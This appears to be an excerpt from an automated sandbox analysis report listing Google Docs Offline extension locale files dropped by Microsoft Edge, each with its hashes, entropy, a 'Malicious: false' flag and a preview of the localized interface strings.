Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
